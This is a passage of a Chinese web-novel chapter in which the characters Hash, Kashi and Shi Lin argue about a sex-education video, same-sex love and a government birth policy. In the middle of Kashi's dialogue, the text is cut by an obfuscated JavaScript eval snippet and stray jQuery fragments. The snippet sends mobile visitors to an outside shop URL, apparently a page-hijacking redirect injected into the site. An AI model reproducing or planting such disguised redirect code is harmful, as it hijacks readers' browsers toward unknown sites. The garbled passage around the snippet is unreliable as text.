时凛指尖顿了顿,一划,发了条视频过去。

    他限制哈希访问的性教育视频。

    “我没生气。”

    他松了松紧绷的脊背:“我只是得了流感。”

    是的,没生气,感冒发烧太难受用刀把手给割破了。

    他这不算生气。

    那边很久不回,应该是在看视频。

    他熄了手机,仰卧在床上,踢开被子。

    汗水浸在草席上,勾勒出一个隐约的人形。

    莫约半小时,手机震了震。

    【Hash】:“那你现在感觉好点了吗?”

    时凛僵着脸:“没有。”

    哈希:“……”

    卡士挑了个锥形瓶,扔下草稿本:

    “谁不信我来着?”

    “谁呀,谁敢不信。”哈希撇嘴:“如此妙计,你一说我就觉得靠谱。”

    “某人机拉了坨大的。”青年两手一摊,无名指上一枚戒指反了光:

    “沃德发,时凛语气这么冲,你是真招惹到他了。”

    哈希噎了一下。

    算了,作为一个有素质的人机,他就不对这个野猴子降维打击了。

    莫生气,生气伤主机。

    卡士阴阳完人,把人机气得火冒三丈,转头又和没事人一样玩起实验室里的化学药品。

    “看着我干啥?”

    他嗤笑:“又不是我招的他。”

    “卡士——”

    哈希恶狠狠地说:“你找到女朋友了?”

    小青年一抖手腕,素圈戒指毫无保留地展示在摄像头前。卡士懒得计较他话里有话,只是用食指摩挲着戒指。

    “啊——我没找着啊——”他拨了拨肩上停息的斑鸠:

    “时夏叼来的,小鸟就喜欢亮闪闪的东西,没找到合适的买家,我干脆自己带咯。”

    “哎,财运来了挡都挡不住——”他沉痛地感叹:“我这么优秀,荷尔蒙爆棚的男人都找不到对象,你把人追丢了也正常。”

    哈希感觉到自己被嘲讽了:“我什么时候把人追丢了?!”

    “没什么。”卡士看热闹不嫌事大,倒了点锌粒出来:“来自过来人的提醒。”

    哈希“感谢”他的提醒,“感谢”得主机都冒烟了。

    “时夏宝宝——”卡士按按鸟头:“你真是我的小财神。”

    财神时夏狠命啄了他一口,它对这个名字非常不满。

    “罗纳到底怎么上的床?”哈希把注意力转回来,反复看着视频:“这种事情不是一男一女才能做的吗?”

    他惊恐地想:

    天哪!难道罗纳·洛伦茨是个女的?!

    还是说阿克斯是个金刚芭比?!

    赵涵也是?!

    这么说,时凛喜欢男人,是不是也不太正常?!

    “我可以以小财神屁股上的毛担保。”卡士慢悠悠地说:“罗纳这家伙百分之百是个罗汉。”

    哈希更惊恐了——

    完了,他们团队好多不正常的人!

    “你错了。”卡士举起烧杯,观察底部的红褐色沉淀:“他们很正常。”

    “诶——”

    哈希不解:“可是官方视频里就是这个意思。”

    “官方?”

    小青年满不在乎地说:“官方就一定是对的?”

    “知道吗,联合政府生育率太低了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959942|214325||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他们甚至都没办法让同性恋合法,在一些地区甚至有硬性规定,五十岁之前必须至少养育一个孩子,不然就要交罚款。”

    他有一下没一下敲着玻璃杯:

    “不要幻想科技政策会公平。它从诞生起就以宏大战略为唯一目标,普通人的民生、小众群体的需求,永远是牺牲品。”

    “可是爱本身没有错啊,梵国有很多人去和动物结婚,虽然看上去很黑暗很腐朽,但是你看那些自愿嫁给心爱的牛的女孩子,娶了鸡的男孩子,注意,我说的是自愿——他们过得很幸福。”

    卡士移了移眼:“当然我喜欢的是人类,不过我不觉得他们特殊。”

    “可是我看到很多网民都在说同性恋恶心——”

    “这种舆论已经不算稀罕了,很早以前就有中立者说属于性小众群体的时代总会到来的。可是所谓的性小众群体,他们斗争了几万年,还没有胜利。”卡士皱起眉头,他的烧杯壁上沾着诡异的铜绿色污渍,怎么搓也搓不掉:“所有人,支持也好,反对也好,中立也好,都说他们生错了时代,可是属于他们的时代,在哪里呢?”

    “可是——”哈希小声嘟囔:“我不想让时凛也这样被人说。”

    “怎么,你不是说讨厌他吗?”小青年挑挑眉,他难得这么激动,讲出这么正经的长篇大论了:“你这句话可以说给他本人听,他会很高兴的。”

    不行!哈希很干脆地拒绝了:“万一他又生气了该怎么办!”

    卡士没回答,只是紧了紧白大褂。他收起乱七八糟的试剂瓶,迈出实验室。

    “哎——”

    卡琳娜缩在走廊拐角,神秘兮兮地向卡士招手:“Comehere——”